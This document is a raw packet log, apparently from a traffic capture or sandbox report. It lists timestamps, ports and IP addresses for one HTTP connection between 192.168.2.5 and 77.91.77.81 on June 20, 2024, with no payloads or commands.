Jun 20, 2024 15:38:07.339291096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339302063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339312077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339323997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339338064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.339366913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.339489937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339500904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339512110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339540005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.339560032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.339751959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339764118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339775085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339818001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.339847088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.339905024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339917898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339927912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339939117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339948893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339967012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.339996099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.340060949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340107918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.340159893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340172052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340182066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340193987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340204954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340217113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340220928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.340231895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340272903 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.340272903 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.340308905 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.340498924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340509892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340518951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340529919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340540886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340562105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.340591908 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.340658903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340671062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340681076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340694904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340706110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340707064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.340717077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340728045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.340728998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340740919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340747118 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.340754032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340765953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340775967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340781927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.340786934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340799093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.340804100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.340821028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.340857029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.341391087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.341402054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.341412067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.341423035 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.341432095 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.341434956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.341447115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.341458082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.341464043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.341469049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.341486931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.341490030 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.341514111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.341533899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.362373114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.362385988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.362397909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.362453938 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.362488031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.362508059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.362519979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.362529993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.362540960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.362551928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.362559080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.362590075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.362616062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.362662077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.362674952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.362684965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.362696886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.362711906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.362749100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.362749100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.363401890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.363414049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.363449097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.363480091 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.386960983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.386971951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.386981964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.387032986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.387043953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.387054920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.387061119 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.387068987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.387093067 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.387121916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.387196064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.387242079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.418193102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.418207884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.418219090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.418277979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.418291092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.418292999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.418328047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.418349981 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.418426991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.418438911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.418448925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.418461084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.418467999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.418487072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.418540955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.418540955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.418641090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.418653011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.418663979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.418675900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.418704033 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.418732882 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.419183016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.419194937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.419205904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.419234037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.419264078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.419605970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.419619083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.419661999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.419743061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.419755936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.419799089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.419831038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.419847012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.419859886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.419872046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.419883966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.419895887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.419895887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.419917107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.419935942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.420067072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.420079947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.420152903 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.420152903 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.425544024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.425554037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.425565004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.425633907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.425652981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.425667048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.425676107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.425679922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.425703049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.425734043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.425734043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.425761938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.425774097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.425785065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.425793886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.425818920 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.425851107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.426839113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.426851034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.426862001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.426892996 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.426923037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.426935911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.426947117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.426956892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.426969051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.426980019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427006960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.427006960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.427043915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.427095890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427109003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427120924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427145004 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.427175999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.427258015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427268982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427278996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427290916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427303076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427308083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.427314997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427325964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.427328110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427340031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427352905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427355051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.427385092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.427416086 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.427551985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427603006 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.427771091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427783966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427793980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427804947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427815914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427826881 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427830935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.427836895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427849054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427861929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427870989 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.427872896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427886963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427891970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.427898884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427911043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427922010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427932978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427943945 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427952051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.427956104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427968025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427979946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.427995920 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.428013086 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.428041935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.428426027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.428440094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.428452015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.428463936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.428476095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.428498983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.428504944 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.428510904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.428528070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.428528070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.428540945 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.428546906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.428554058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.428566933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.428575039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.428580046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.428596020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.428605080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.428606987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.428623915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.428646088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.449305058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.449326992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.449338913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.449388981 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.449443102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.449480057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.449493885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.449506044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.449523926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.449542046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.449573994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.449603081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.449635983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.449647903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.449659109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.449671984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.449683905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.449686050 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.449697018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.449708939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.449733019 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.449780941 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.475438118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.475450993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.475464106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.475549936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.475553036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.475562096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.475574970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.475588083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.475590944 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.475630045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.475661993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.507940054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.507961988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.507973909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508009911 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.508030891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508032084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.508079052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.508131981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508143902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508153915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508167028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508188009 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.508219004 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.508239031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508251905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508282900 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.508328915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.508368969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508379936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508389950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508402109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508414984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508419991 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.508450985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.508506060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508516073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508526087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508538961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508557081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.508589983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.508646965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508658886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508667946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508698940 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.508748055 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.508791924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508802891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508812904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508824110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508835077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508845091 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.508846998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.508873940 CEST	49706	80	192.168.2.5	77.91.77.81
